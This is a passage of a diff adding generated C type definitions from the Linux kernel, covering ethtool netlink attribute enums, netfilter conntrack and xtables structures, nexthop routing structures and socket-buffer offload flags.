ETHTOOL_A_COALESCE_RX_USECS_IRQ = 4, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES_IRQ = 5, + ETHTOOL_A_COALESCE_TX_USECS = 6, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES = 7, + ETHTOOL_A_COALESCE_TX_USECS_IRQ = 8, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES_IRQ = 9, + ETHTOOL_A_COALESCE_STATS_BLOCK_USECS = 10, + ETHTOOL_A_COALESCE_USE_ADAPTIVE_RX = 11, + ETHTOOL_A_COALESCE_USE_ADAPTIVE_TX = 12, + ETHTOOL_A_COALESCE_PKT_RATE_LOW = 13, + ETHTOOL_A_COALESCE_RX_USECS_LOW = 14, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES_LOW = 15, + ETHTOOL_A_COALESCE_TX_USECS_LOW = 16, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES_LOW = 17, + ETHTOOL_A_COALESCE_PKT_RATE_HIGH = 18, + ETHTOOL_A_COALESCE_RX_USECS_HIGH = 19, + ETHTOOL_A_COALESCE_RX_MAX_FRAMES_HIGH = 20, + ETHTOOL_A_COALESCE_TX_USECS_HIGH = 21, + ETHTOOL_A_COALESCE_TX_MAX_FRAMES_HIGH = 22, + ETHTOOL_A_COALESCE_RATE_SAMPLE_INTERVAL = 23, + ETHTOOL_A_COALESCE_USE_CQE_MODE_TX = 24, + ETHTOOL_A_COALESCE_USE_CQE_MODE_RX = 25, + ETHTOOL_A_COALESCE_TX_AGGR_MAX_BYTES = 26, + ETHTOOL_A_COALESCE_TX_AGGR_MAX_FRAMES = 27, + ETHTOOL_A_COALESCE_TX_AGGR_TIME_USECS = 28, + __ETHTOOL_A_COALESCE_CNT = 29, + ETHTOOL_A_COALESCE_MAX = 28, +}; + +enum { + ETHTOOL_A_PAUSE_UNSPEC = 0, + ETHTOOL_A_PAUSE_HEADER = 1, + ETHTOOL_A_PAUSE_AUTONEG = 2, + ETHTOOL_A_PAUSE_RX = 3, + ETHTOOL_A_PAUSE_TX = 4, + ETHTOOL_A_PAUSE_STATS = 5, + ETHTOOL_A_PAUSE_STATS_SRC = 6, + __ETHTOOL_A_PAUSE_CNT = 7, + ETHTOOL_A_PAUSE_MAX = 6, +}; + +enum { + ETHTOOL_A_EEE_UNSPEC = 0, + ETHTOOL_A_EEE_HEADER = 1, + ETHTOOL_A_EEE_MODES_OURS = 2, + ETHTOOL_A_EEE_MODES_PEER = 3, + ETHTOOL_A_EEE_ACTIVE = 4, + ETHTOOL_A_EEE_ENABLED = 5, + ETHTOOL_A_EEE_TX_LPI_ENABLED = 6, + ETHTOOL_A_EEE_TX_LPI_TIMER = 7, + __ETHTOOL_A_EEE_CNT = 8, + ETHTOOL_A_EEE_MAX = 7, +}; + +enum { + ETHTOOL_A_TSINFO_UNSPEC = 0, + ETHTOOL_A_TSINFO_HEADER = 1, + ETHTOOL_A_TSINFO_TIMESTAMPING = 2, + ETHTOOL_A_TSINFO_TX_TYPES = 3, + ETHTOOL_A_TSINFO_RX_FILTERS = 4, + ETHTOOL_A_TSINFO_PHC_INDEX = 5, + __ETHTOOL_A_TSINFO_CNT = 6, + ETHTOOL_A_TSINFO_MAX = 5, +}; + +enum { + ETHTOOL_A_PHC_VCLOCKS_UNSPEC = 0, + ETHTOOL_A_PHC_VCLOCKS_HEADER = 1, + ETHTOOL_A_PHC_VCLOCKS_NUM = 2, + ETHTOOL_A_PHC_VCLOCKS_INDEX = 3, + __ETHTOOL_A_PHC_VCLOCKS_CNT = 4, + ETHTOOL_A_PHC_VCLOCKS_MAX = 3, +}; + +enum { + ETHTOOL_A_CABLE_TEST_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_HEADER = 1, + __ETHTOOL_A_CABLE_TEST_CNT = 2, + ETHTOOL_A_CABLE_TEST_MAX = 1, +}; + +enum { + ETHTOOL_A_CABLE_TEST_TDR_UNSPEC = 0, + ETHTOOL_A_CABLE_TEST_TDR_HEADER = 1, + ETHTOOL_A_CABLE_TEST_TDR_CFG = 2, + __ETHTOOL_A_CABLE_TEST_TDR_CNT = 3, + ETHTOOL_A_CABLE_TEST_TDR_MAX = 2, +}; + +enum { + ETHTOOL_A_TUNNEL_INFO_UNSPEC = 0, + ETHTOOL_A_TUNNEL_INFO_HEADER = 1, + ETHTOOL_A_TUNNEL_INFO_UDP_PORTS = 2, + __ETHTOOL_A_TUNNEL_INFO_CNT = 3, + ETHTOOL_A_TUNNEL_INFO_MAX = 2, +}; + +enum { + ETHTOOL_A_FEC_UNSPEC = 0, + ETHTOOL_A_FEC_HEADER = 1, + ETHTOOL_A_FEC_MODES = 2, + ETHTOOL_A_FEC_AUTO = 3, + ETHTOOL_A_FEC_ACTIVE = 4, + ETHTOOL_A_FEC_STATS = 5, + __ETHTOOL_A_FEC_CNT = 6, + ETHTOOL_A_FEC_MAX = 5, +}; + +enum { + ETHTOOL_A_MODULE_EEPROM_UNSPEC = 0, + ETHTOOL_A_MODULE_EEPROM_HEADER = 1, + ETHTOOL_A_MODULE_EEPROM_OFFSET = 2, + ETHTOOL_A_MODULE_EEPROM_LENGTH = 3, + ETHTOOL_A_MODULE_EEPROM_PAGE = 4, + ETHTOOL_A_MODULE_EEPROM_BANK = 5, + ETHTOOL_A_MODULE_EEPROM_I2C_ADDRESS = 6, + ETHTOOL_A_MODULE_EEPROM_DATA = 7, + __ETHTOOL_A_MODULE_EEPROM_CNT = 8, + ETHTOOL_A_MODULE_EEPROM_MAX = 7, +}; + +enum { + ETHTOOL_A_STATS_UNSPEC = 0, + ETHTOOL_A_STATS_PAD = 1, + ETHTOOL_A_STATS_HEADER = 2, + ETHTOOL_A_STATS_GROUPS = 3, + ETHTOOL_A_STATS_GRP = 4, + ETHTOOL_A_STATS_SRC = 5, + __ETHTOOL_A_STATS_CNT = 6, + ETHTOOL_A_STATS_MAX = 5, +}; + +enum { + ETHTOOL_STATS_ETH_PHY = 0, + ETHTOOL_STATS_ETH_MAC = 1, + ETHTOOL_STATS_ETH_CTRL = 2, + ETHTOOL_STATS_RMON = 3, + __ETHTOOL_STATS_CNT = 4, +}; + +enum { + ETHTOOL_A_STATS_ETH_PHY_5_SYM_ERR = 0, + __ETHTOOL_A_STATS_ETH_PHY_CNT = 1, + ETHTOOL_A_STATS_ETH_PHY_MAX = 0, +}; + +enum { + ETHTOOL_A_STATS_ETH_MAC_2_TX_PKT = 0, + ETHTOOL_A_STATS_ETH_MAC_3_SINGLE_COL = 1, + ETHTOOL_A_STATS_ETH_MAC_4_MULTI_COL = 2, + ETHTOOL_A_STATS_ETH_MAC_5_RX_PKT = 3, + ETHTOOL_A_STATS_ETH_MAC_6_FCS_ERR = 4, + ETHTOOL_A_STATS_ETH_MAC_7_ALIGN_ERR = 5, + ETHTOOL_A_STATS_ETH_MAC_8_TX_BYTES = 6, + ETHTOOL_A_STATS_ETH_MAC_9_TX_DEFER = 7, + ETHTOOL_A_STATS_ETH_MAC_10_LATE_COL = 8, + ETHTOOL_A_STATS_ETH_MAC_11_XS_COL = 9, + ETHTOOL_A_STATS_ETH_MAC_12_TX_INT_ERR = 10, + ETHTOOL_A_STATS_ETH_MAC_13_CS_ERR = 11, + ETHTOOL_A_STATS_ETH_MAC_14_RX_BYTES = 12, + ETHTOOL_A_STATS_ETH_MAC_15_RX_INT_ERR = 13, + ETHTOOL_A_STATS_ETH_MAC_18_TX_MCAST = 14, + ETHTOOL_A_STATS_ETH_MAC_19_TX_BCAST = 15, + ETHTOOL_A_STATS_ETH_MAC_20_XS_DEFER = 16, + ETHTOOL_A_STATS_ETH_MAC_21_RX_MCAST = 17, + ETHTOOL_A_STATS_ETH_MAC_22_RX_BCAST = 18, + ETHTOOL_A_STATS_ETH_MAC_23_IR_LEN_ERR = 19, + ETHTOOL_A_STATS_ETH_MAC_24_OOR_LEN = 20, + ETHTOOL_A_STATS_ETH_MAC_25_TOO_LONG_ERR = 21, + __ETHTOOL_A_STATS_ETH_MAC_CNT = 22, + ETHTOOL_A_STATS_ETH_MAC_MAX = 21, +}; + +enum { + ETHTOOL_A_STATS_ETH_CTRL_3_TX = 0, + ETHTOOL_A_STATS_ETH_CTRL_4_RX = 1, + ETHTOOL_A_STATS_ETH_CTRL_5_RX_UNSUP = 2, + __ETHTOOL_A_STATS_ETH_CTRL_CNT = 3, + ETHTOOL_A_STATS_ETH_CTRL_MAX = 2, +}; + +enum { + ETHTOOL_A_STATS_RMON_UNDERSIZE = 0, + ETHTOOL_A_STATS_RMON_OVERSIZE = 1, + ETHTOOL_A_STATS_RMON_FRAG = 2, + ETHTOOL_A_STATS_RMON_JABBER = 3, + __ETHTOOL_A_STATS_RMON_CNT = 4, + ETHTOOL_A_STATS_RMON_MAX = 3, +}; + +enum { + ETHTOOL_A_MODULE_UNSPEC = 0, + ETHTOOL_A_MODULE_HEADER = 1, + ETHTOOL_A_MODULE_POWER_MODE_POLICY = 2, + ETHTOOL_A_MODULE_POWER_MODE = 3, + __ETHTOOL_A_MODULE_CNT = 4, + ETHTOOL_A_MODULE_MAX = 3, +}; + +enum { + ETHTOOL_A_PSE_UNSPEC = 0, + ETHTOOL_A_PSE_HEADER = 1, + ETHTOOL_A_PODL_PSE_ADMIN_STATE = 2, + ETHTOOL_A_PODL_PSE_ADMIN_CONTROL = 3, + ETHTOOL_A_PODL_PSE_PW_D_STATUS = 4, + __ETHTOOL_A_PSE_CNT = 5, + ETHTOOL_A_PSE_MAX = 4, +}; + +enum { + ETHTOOL_A_RSS_UNSPEC = 0, + ETHTOOL_A_RSS_HEADER = 1, + ETHTOOL_A_RSS_CONTEXT = 2, + ETHTOOL_A_RSS_HFUNC = 3, + ETHTOOL_A_RSS_INDIR = 4, + ETHTOOL_A_RSS_HKEY = 5, + __ETHTOOL_A_RSS_CNT = 6, + ETHTOOL_A_RSS_MAX = 5, +}; + +enum { + ETHTOOL_A_PLCA_UNSPEC = 0, + ETHTOOL_A_PLCA_HEADER = 1, + ETHTOOL_A_PLCA_VERSION = 2, + ETHTOOL_A_PLCA_ENABLED = 3, + ETHTOOL_A_PLCA_STATUS = 4, + ETHTOOL_A_PLCA_NODE_CNT = 5, + ETHTOOL_A_PLCA_NODE_ID = 6, + ETHTOOL_A_PLCA_TO_TMR = 7, + ETHTOOL_A_PLCA_BURST_CNT = 8, + ETHTOOL_A_PLCA_BURST_TMR = 9, + __ETHTOOL_A_PLCA_CNT = 10, + ETHTOOL_A_PLCA_MAX = 9, +}; + +enum { + ETHTOOL_A_MM_UNSPEC = 0, + ETHTOOL_A_MM_HEADER = 1, + ETHTOOL_A_MM_PMAC_ENABLED = 2, + ETHTOOL_A_MM_TX_ENABLED = 3, + ETHTOOL_A_MM_TX_ACTIVE = 4, + ETHTOOL_A_MM_TX_MIN_FRAG_SIZE = 5, + ETHTOOL_A_MM_RX_MIN_FRAG_SIZE = 6, + ETHTOOL_A_MM_VERIFY_ENABLED = 7, + ETHTOOL_A_MM_VERIFY_STATUS = 8, + ETHTOOL_A_MM_VERIFY_TIME = 9, + ETHTOOL_A_MM_MAX_VERIFY_TIME = 10, + ETHTOOL_A_MM_STATS = 11, + __ETHTOOL_A_MM_CNT = 12, + ETHTOOL_A_MM_MAX = 11, +}; + +struct genlmsghdr { + __u8 cmd; + __u8 version; + __u16 reserved; +}; + +enum { + NLA_UNSPEC = 0, + NLA_U8 = 1, + NLA_U16 = 2, + NLA_U32 = 3, + NLA_U64 = 4, + NLA_STRING = 5, + NLA_FLAG = 6, + NLA_MSECS = 7, + NLA_NESTED = 8, + NLA_NESTED_ARRAY = 9, + NLA_NUL_STRING = 10, + NLA_BINARY = 11, + NLA_S8 = 12, + NLA_S16 = 13, + NLA_S32 = 14, + NLA_S64 = 15, + NLA_BITFIELD32 = 16, + NLA_REJECT = 17, + NLA_BE16 = 18, + NLA_BE32 = 19, + __NLA_TYPE_MAX = 20, +}; + +enum nla_policy_validation { + NLA_VALIDATE_NONE = 0, + NLA_VALIDATE_RANGE = 1, + NLA_VALIDATE_RANGE_WARN_TOO_LONG = 2, + NLA_VALIDATE_MIN = 3, + NLA_VALIDATE_MAX = 4, + NLA_VALIDATE_MASK = 5, + NLA_VALIDATE_RANGE_PTR = 6, + NLA_VALIDATE_FUNCTION = 7, +}; + +struct genl_info { + u32 snd_seq; + u32 snd_portid; + struct nlmsghdr *nlhdr; + struct genlmsghdr *genlhdr; + void *userhdr; + struct nlattr **attrs; + possible_net_t _net; + void *user_ptr[2]; + struct netlink_ext_ack *extack; +}; + +struct ethnl_req_info { + struct net_device *dev; + netdevice_tracker dev_tracker; + u32 flags; +}; + +struct ethnl_reply_data { + struct net_device *dev; +}; + +struct ethnl_request_ops { + u8 request_cmd; + u8 reply_cmd; + u16 hdr_attr; + unsigned int req_info_size; + unsigned int reply_data_size; + bool allow_nodev_do; + u8 set_ntf_cmd; + int (*parse_request)(struct ethnl_req_info *, struct nlattr **, struct netlink_ext_ack *); + int (*prepare_data)(const struct ethnl_req_info *, struct ethnl_reply_data *, struct genl_info *); + int (*reply_size)(const struct ethnl_req_info *, const struct ethnl_reply_data *); + int (*fill_reply)(struct sk_buff *, const struct ethnl_req_info *, const struct ethnl_reply_data *); + void (*cleanup_data)(struct ethnl_reply_data *); + int (*set_validate)(struct ethnl_req_info *, struct genl_info *); + int (*set)(struct ethnl_req_info *, struct genl_info *); +}; + +struct link_mode_info { + int speed; + u8 lanes; + u8 duplex; +}; + +struct ethtool_pse_ops; + +struct rings_reply_data { + struct ethnl_reply_data base; + struct ethtool_ringparam ringparam; + struct kernel_ethtool_ringparam kernel_ringparam; + u32 supported_ring_params; +}; + +typedef __u16 __sum16; + +typedef u16 u_int16_t; + +typedef u32 u_int32_t; + +typedef u64 u_int64_t; + +struct hlist_nulls_head { + struct hlist_nulls_node *first; +}; + +enum ip_conntrack_info { + IP_CT_ESTABLISHED = 0, + IP_CT_RELATED = 1, + IP_CT_NEW = 2, + IP_CT_IS_REPLY = 3, + IP_CT_ESTABLISHED_REPLY = 3, + IP_CT_RELATED_REPLY = 4, + IP_CT_NUMBER = 5, + IP_CT_UNTRACKED = 7, +}; + +enum ip_conntrack_status { + IPS_EXPECTED_BIT = 0, + IPS_EXPECTED = 1, + IPS_SEEN_REPLY_BIT = 1, + IPS_SEEN_REPLY = 2, + IPS_ASSURED_BIT = 2, + IPS_ASSURED = 4, + IPS_CONFIRMED_BIT = 3, + IPS_CONFIRMED = 8, + IPS_SRC_NAT_BIT = 4, + IPS_SRC_NAT = 16, + IPS_DST_NAT_BIT = 5, + IPS_DST_NAT = 32, + IPS_NAT_MASK = 48, + IPS_SEQ_ADJUST_BIT = 6, + IPS_SEQ_ADJUST = 64, + IPS_SRC_NAT_DONE_BIT = 7, + IPS_SRC_NAT_DONE = 128, + IPS_DST_NAT_DONE_BIT = 8, + IPS_DST_NAT_DONE = 256, + IPS_NAT_DONE_MASK = 384, + IPS_DYING_BIT = 9, + IPS_DYING = 512, + IPS_FIXED_TIMEOUT_BIT = 10, + IPS_FIXED_TIMEOUT = 1024, + IPS_TEMPLATE_BIT = 11, + IPS_TEMPLATE = 2048, + IPS_UNTRACKED_BIT = 12, + IPS_UNTRACKED = 4096, + IPS_NAT_CLASH_BIT = 12, + IPS_NAT_CLASH = 4096, + IPS_HELPER_BIT = 13, + IPS_HELPER = 8192, + IPS_OFFLOAD_BIT = 14, + IPS_OFFLOAD = 16384, + IPS_HW_OFFLOAD_BIT = 15, + IPS_HW_OFFLOAD = 32768, + IPS_UNCHANGEABLE_MASK = 56313, + __IPS_MAX_BIT = 16, +}; + +enum ip_conntrack_expect_events { + IPEXP_NEW = 0, + IPEXP_DESTROY = 1, +}; + +struct nf_conntrack { + refcount_t use; +}; + +struct in_addr { + __be32 s_addr; +}; + +union nf_inet_addr { + __u32 all[4]; + __be32 ip; + __be32 ip6[4]; + struct in_addr in; + struct in6_addr in6; +}; + +struct nf_hook_state; + +typedef unsigned int nf_hookfn(void *, struct sk_buff *, const struct nf_hook_state *); + +struct nf_hook_entry { + nf_hookfn *hook; + void *priv; +}; + +struct nf_hook_entries { + u16 num_hook_entries; + struct nf_hook_entry hooks[0]; +}; + +struct ip_ct_tcp_state { + u_int32_t td_end; + u_int32_t td_maxend; + u_int32_t td_maxwin; + u_int32_t td_maxack; + u_int8_t td_scale; + u_int8_t flags; +}; + +struct ip_ct_tcp { + struct ip_ct_tcp_state seen[2]; + u_int8_t state; + u_int8_t last_dir; + u_int8_t retrans; + u_int8_t last_index; + u_int32_t last_seq; + u_int32_t last_ack; + u_int32_t last_end; + u_int16_t last_win; + u_int8_t last_wscale; + u_int8_t last_flags; +}; + +union nf_conntrack_man_proto { + __be16 all; + struct { + __be16 port; + } tcp; + struct { + __be16 port; + } udp; + struct { + __be16 id; + } icmp; + struct { + __be16 port; + } dccp; + struct { + __be16 port; + } sctp; + struct { + __be16 key; + } gre; +}; + +struct nf_ct_dccp { + u_int8_t role[2]; + u_int8_t state; + u_int8_t last_pkt; + u_int8_t last_dir; + u_int64_t handshake_seq; +}; + +struct ip_ct_sctp { + enum sctp_conntrack state; + __be32 vtag[2]; + u8 last_dir; + u8 flags; +}; + +struct net_generic { + union { + struct { + unsigned int len; + struct callback_head rcu; + } s; + struct { + struct {} __empty_ptr; + void *ptr[0]; + }; + }; +}; + +struct iphdr { + __u8 ihl: 4; + __u8 version: 4; + __u8 tos; + __be16 tot_len; + __be16 id; + __be16 frag_off; + __u8 ttl; + __u8 protocol; + __sum16 check; + union { + struct { + __be32 saddr; + __be32 daddr; + }; + struct { + __be32 saddr; + __be32 daddr; + } addrs; + }; +}; + +struct ip_tunnel_parm { + char name[16]; + int link; + __be16 i_flags; + __be16 o_flags; + __be32 i_key; + __be32 o_key; + struct iphdr iph; +}; + +struct nf_hook_state { + u8 hook; + u8 pf; + struct net_device *in; + struct net_device *out; + struct sock *sk; + struct net *net; + int (*okfn)(struct net *, struct sock *, struct sk_buff *); +}; + +enum nf_nat_manip_type { + NF_NAT_MANIP_SRC = 0, + NF_NAT_MANIP_DST = 1, +}; + +struct nf_conn; + +struct nf_nat_hook { + int (*parse_nat_setup)(struct nf_conn *, enum nf_nat_manip_type, const struct nlattr *); + void (*decode_session)(struct sk_buff *, struct flowi *); + unsigned int (*manip_pkt)(struct sk_buff *, struct nf_conn *, enum nf_nat_manip_type, enum ip_conntrack_dir); + void (*remove_nat_bysrc)(struct nf_conn *); +}; + +struct nf_conntrack_man { + union nf_inet_addr u3; + union nf_conntrack_man_proto u; + u_int16_t l3num; +}; + +struct nf_conntrack_tuple { + struct nf_conntrack_man src; + struct { + union nf_inet_addr u3; + union { + __be16 all; + struct { + __be16 port; + } tcp; + struct { + __be16 port; + } udp; + struct { + u_int8_t type; + u_int8_t code; + } icmp; + struct { + __be16 port; + } dccp; + struct { + __be16 port; + } sctp; + struct { + __be16 key; + } gre; + } u; + u_int8_t protonum; + u_int8_t dir; + } dst; +}; + +struct nf_conntrack_tuple_hash { + struct hlist_nulls_node hnnode; + struct nf_conntrack_tuple tuple; +}; + +struct nf_ct_udp { + long unsigned int stream_ts; +}; + +struct nf_ct_gre { + unsigned int stream_timeout; + unsigned int timeout; +}; + +union nf_conntrack_proto { + struct nf_ct_dccp dccp; + struct ip_ct_sctp sctp; + struct ip_ct_tcp tcp; + struct nf_ct_udp udp; + struct nf_ct_gre gre; + unsigned int tmpl_padto; +}; + +struct nf_ct_ext; + +struct nf_conn { + struct nf_conntrack ct_general; + spinlock_t lock; + u32 timeout; + struct nf_conntrack_tuple_hash tuplehash[2]; + long unsigned int status; + possible_net_t ct_net; + struct hlist_node nat_bysource; + struct {} __nfct_init_offset; + struct nf_conn *master; + u_int32_t mark; + struct nf_ct_ext *ext; + union nf_conntrack_proto proto; +}; + +struct nf_conntrack_zone { + u16 id; + u8 flags; + u8 dir; +}; + +struct nf_ct_hook { + int (*update)(struct net *, struct sk_buff *); + void (*destroy)(struct nf_conntrack *); + bool (*get_tuple_skb)(struct nf_conntrack_tuple *, const struct sk_buff *); + void (*attach)(struct sk_buff *, const struct sk_buff *); + void (*set_closing)(struct nf_conntrack *); +}; + +struct nfnl_ct_hook { + size_t (*build_size)(const struct nf_conn *); + int (*build)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, u_int16_t, u_int16_t); + int (*parse)(const struct nlattr *, struct nf_conn *); + int (*attach_expect)(const struct nlattr *, struct nf_conn *, u32, u32); + void (*seq_adjust)(struct sk_buff *, struct nf_conn *, enum ip_conntrack_info, s32); +}; + +struct fib_info; + +struct fib_nh { + struct fib_nh_common nh_common; + struct hlist_node nh_hash; + struct fib_info *nh_parent; + __be32 nh_saddr; + int nh_saddr_genid; +}; + +struct fib_info { + struct hlist_node fib_hash; + struct hlist_node fib_lhash; + struct list_head nh_list; + struct net *fib_net; + refcount_t fib_treeref; + refcount_t fib_clntref; + unsigned int fib_flags; + unsigned char fib_dead; + unsigned char fib_protocol; + unsigned char fib_scope; + unsigned char fib_type; + __be32 fib_prefsrc; + u32 fib_tb_id; + u32 fib_priority; + struct dst_metrics *fib_metrics; + int fib_nhs; + bool fib_nh_is_v6; + bool nh_updated; + struct nexthop *nh; + struct callback_head rcu; + struct fib_nh fib_nh[0]; +}; + +struct nh_info; + +struct nh_group; + +struct nexthop { + struct rb_node rb_node; + struct list_head fi_list; + struct list_head f6i_list; + struct list_head fdb_list; + struct list_head grp_list; + struct net *net; + u32 id; + u8 protocol; + u8 nh_flags; + bool is_group; + refcount_t refcnt; + struct callback_head rcu; + union { + struct nh_info *nh_info; + struct nh_group *nh_grp; + }; +}; + +struct nh_info { + struct hlist_node dev_hash; + struct nexthop *nh_parent; + u8 family; + bool reject_nh; + bool fdb_nh; + union { + struct fib_nh_common fib_nhc; + struct fib_nh fib_nh; + struct fib6_nh fib6_nh; + }; +}; + +struct nh_grp_entry; + +struct nh_res_bucket { + struct nh_grp_entry *nh_entry; + atomic_long_t used_time; + long unsigned int migrated_time; + bool occupied; + u8 nh_flags; +}; + +struct nh_grp_entry { + struct nexthop *nh; + u8 weight; + union { + struct { + atomic_t upper_bound; + } hthr; + struct { + struct list_head uw_nh_entry; + u16 count_buckets; + u16 wants_buckets; + } res; + }; + struct list_head nh_list; + struct nexthop *nh_parent; +}; + +struct nh_res_table { + struct net *net; + u32 nhg_id; + struct delayed_work upkeep_dw; + struct list_head uw_nh_entries; + long unsigned int unbalanced_since; + u32 idle_timer; + u32 unbalanced_timer; + u16 num_nh_buckets; + struct nh_res_bucket nh_buckets[0]; +}; + +struct nh_group { + struct nh_group *spare; + u16 num_nh; + bool is_multipath; + bool hash_threshold; + bool resilient; + bool fdb_nh; + bool has_v4; + struct nh_res_table *res_table; + struct nh_grp_entry nh_entries[0]; +}; + +struct ip_tunnel_encap { + u16 type; + u16 flags; + __be16 sport; + __be16 dport; +}; + +struct ip_tunnel_encap_ops { + size_t (*encap_hlen)(struct ip_tunnel_encap *); + int (*build_header)(struct sk_buff *, struct ip_tunnel_encap *, u8 *, struct flowi4 *); + int (*err_handler)(struct sk_buff *, u32); +}; + +struct nf_conntrack_tuple_mask { + struct { + union nf_inet_addr u3; + union nf_conntrack_man_proto u; + } src; +}; + +struct nf_conntrack_net { + atomic_t count; + unsigned int expect_count; + unsigned int users4; + unsigned int users6; + unsigned int users_bridge; + struct ctl_table_header *sysctl_header; +}; + +struct nf_conntrack_l4proto { + u_int8_t l4proto; + bool allow_clash; + u16 nlattr_size; + bool (*can_early_drop)(const struct nf_conn *); + int (*to_nlattr)(struct sk_buff *, struct nlattr *, struct nf_conn *, bool); + int (*from_nlattr)(struct nlattr **, struct nf_conn *); + int (*tuple_to_nlattr)(struct sk_buff *, const struct nf_conntrack_tuple *); + unsigned int (*nlattr_tuple_size)(); + int (*nlattr_to_tuple)(struct nlattr **, struct nf_conntrack_tuple *, u_int32_t); + const struct nla_policy *nla_policy; + struct { + int (*nlattr_to_obj)(struct nlattr **, struct net *, void *); + int (*obj_to_nlattr)(struct sk_buff *, const void *); + u16 obj_size; + u16 nlattr_max; + const struct nla_policy *nla_policy; + } ctnl_timeout; +}; + +struct nf_ct_ext { + u8 offset[5]; + u8 len; + unsigned int gen_id; + long: 0; + char data[0]; +}; + +struct nf_conntrack_helper; + +struct nf_conntrack_expect { + struct hlist_node lnode; + struct hlist_node hnode; + struct nf_conntrack_tuple tuple; + struct nf_conntrack_tuple_mask mask; + void (*expectfn)(struct nf_conn *, struct nf_conntrack_expect *); + struct nf_conntrack_helper *helper; + struct nf_conn *master; + struct timer_list timeout; + refcount_t use; + unsigned int flags; + unsigned int class; + union nf_inet_addr saved_addr; + union nf_conntrack_man_proto saved_proto; + enum ip_conntrack_dir dir; + struct callback_head rcu; +}; + +struct nf_conntrack_expect_policy; + +struct nf_conntrack_helper { + struct hlist_node hnode; + char name[16]; + refcount_t refcnt; + struct module *me; + const struct nf_conntrack_expect_policy *expect_policy; + struct nf_conntrack_tuple tuple; + int (*help)(struct sk_buff *, unsigned int, struct nf_conn *, enum ip_conntrack_info); + void (*destroy)(struct nf_conn *); + int (*from_nlattr)(struct nlattr *, struct nf_conn *); + int (*to_nlattr)(struct sk_buff *, const struct nf_conn *); + unsigned int expect_class_max; + unsigned int flags; + unsigned int queue_num; + u16 data_len; + char nat_mod_name[16]; +}; + +struct nf_conntrack_expect_policy { + unsigned int max_expected; + unsigned int timeout; + char name[16]; +}; + +enum nf_ct_ext_id { + NF_CT_EXT_HELPER = 0, + NF_CT_EXT_NAT = 1, + NF_CT_EXT_SEQADJ = 2, + NF_CT_EXT_ACCT = 3, + NF_CT_EXT_SYNPROXY = 4, + NF_CT_EXT_NUM = 5, +}; + +struct nf_conn_help { + struct nf_conntrack_helper *helper; + struct hlist_head expectations; + u8 expecting[4]; + long: 0; + char data[32]; +}; + +struct xt_bpf_info { + __u16 bpf_program_num_elem; + struct sock_filter bpf_program[64]; + struct bpf_prog *filter; +}; + +enum xt_bpf_modes { + XT_BPF_MODE_BYTECODE = 0, + XT_BPF_MODE_FD_PINNED = 1, + XT_BPF_MODE_FD_ELF = 2, +}; + +struct xt_bpf_info_v1 { + __u16 mode; + __u16 bpf_program_num_elem; + __s32 fd; + union { + struct sock_filter bpf_program[64]; + char path[512]; + }; + struct bpf_prog *filter; +}; + +struct xt_action_param; + +struct xt_mtchk_param; + +struct xt_mtdtor_param; + +struct xt_match { + struct list_head list; + const char name[29]; + u_int8_t revision; + bool (*match)(const struct sk_buff *, struct xt_action_param *); + int (*checkentry)(const struct xt_mtchk_param *); + void (*destroy)(const struct xt_mtdtor_param *); + struct module *me; + const char *table; + unsigned int matchsize; + unsigned int usersize; + unsigned int hooks; + short unsigned int proto; + short unsigned int family; +}; + +struct xt_tgchk_param; + +struct xt_tgdtor_param; + +struct xt_target { + struct list_head list; + const char name[29]; + u_int8_t revision; + unsigned int (*target)(struct sk_buff *, const struct xt_action_param *); + int (*checkentry)(const struct xt_tgchk_param *); + void (*destroy)(const struct xt_tgdtor_param *); + struct module *me; + const char *table; + unsigned int targetsize; + unsigned int usersize; + unsigned int hooks; + short unsigned int proto; + short unsigned int family; +}; + +struct xt_action_param { + union { + const struct xt_match *match; + const struct xt_target *target; + }; + union { + const void *matchinfo; + const void *targinfo; + }; + const struct nf_hook_state *state; + unsigned int thoff; + u16 fragoff; + bool hotdrop; +}; + +struct xt_mtchk_param { + struct net *net; + const char *table; + const void *entryinfo; + const struct xt_match *match; + void *matchinfo; + unsigned int hook_mask; + u_int8_t family; + bool nft_compat; +}; + +struct xt_mtdtor_param { + struct net *net; + const struct xt_match *match; + void *matchinfo; + u_int8_t family; +}; + +struct xt_tgchk_param { + struct net *net; + const char *table; + const void *entryinfo; + const struct xt_target *target; + void *targinfo; + unsigned int hook_mask; + u_int8_t family; + bool nft_compat; +}; + +struct xt_tgdtor_param { + struct net *net; + const struct xt_target *target; + void *targinfo; + u_int8_t family; +}; + +enum { + SKBTX_HW_TSTAMP = 1, + SKBTX_SW_TSTAMP = 2, + SKBTX_IN_PROGRESS = 4, + SKBTX_HW_TSTAMP_USE_CYCLES = 8, + SKBTX_WIFI_STATUS = 16, + SKBTX_HW_TSTAMP_NETDEV = 32, + SKBTX_SCHED_TSTAMP = 64, +}; + +enum { + SKB_GSO_TCPV4 = 1, + SKB_GSO_DODGY = 2, + SKB_GSO_TCP_ECN = 4, + SKB_GSO_TCP_FIXEDID = 8, + SKB_GSO_TCPV6 = 16, + SKB_GSO_FCOE = 32, + SKB_GSO_GRE = 64, + SKB_GSO_GRE_CSUM = 128, + SKB_GSO_IPXIP4 = 256, + SKB_GSO_IPXIP6 = 512, + SKB_GSO_UDP_TUNNEL = 1024, + SKB_GSO_UDP_TUNNEL_CSUM = 2048, + SKB_GSO_PARTIAL = 4096, + SKB_GSO_TUNNEL_REMCSUM = 8192, + SKB_GSO_SCTP = 16384, + SKB_GSO_ESP = 32768, + SKB_GSO_UDP = 65536, + SKB_GSO_UDP_L4 = 131072, + SKB_GSO_FRAGLIST = 262144, +}; + +struct skb_gso_cb { + union { + int mac_offset; + int data_offset; + }; + int encap_level; + __wsum csum; + __u16 csum_start; +}; + +struct inet_ehash_bucket; + +struct inet_bind_hashbucket; + +struct inet_listen_hashbucket; + +struct inet_hashinfo { + struct inet_ehash_bucket *ehash; + spinlock_t *ehash_locks; + unsigned int ehash_mask; + unsigned int ehash_locks_mask; + struct kmem_cache *bind_bucket_cachep; + struct inet_bind_hashbucket *bhash; + struct kmem_cache *bind2_bucket_cachep; + struct inet_bind_hashbucket *bhash2; + unsigned int bhash_size; + unsigned int lhash2_mask; + struct inet_listen_hashbucket *lhash2; + bool pernet; +}; + +struct udp_hslot; + +struct udp_table { + struct udp_hslot 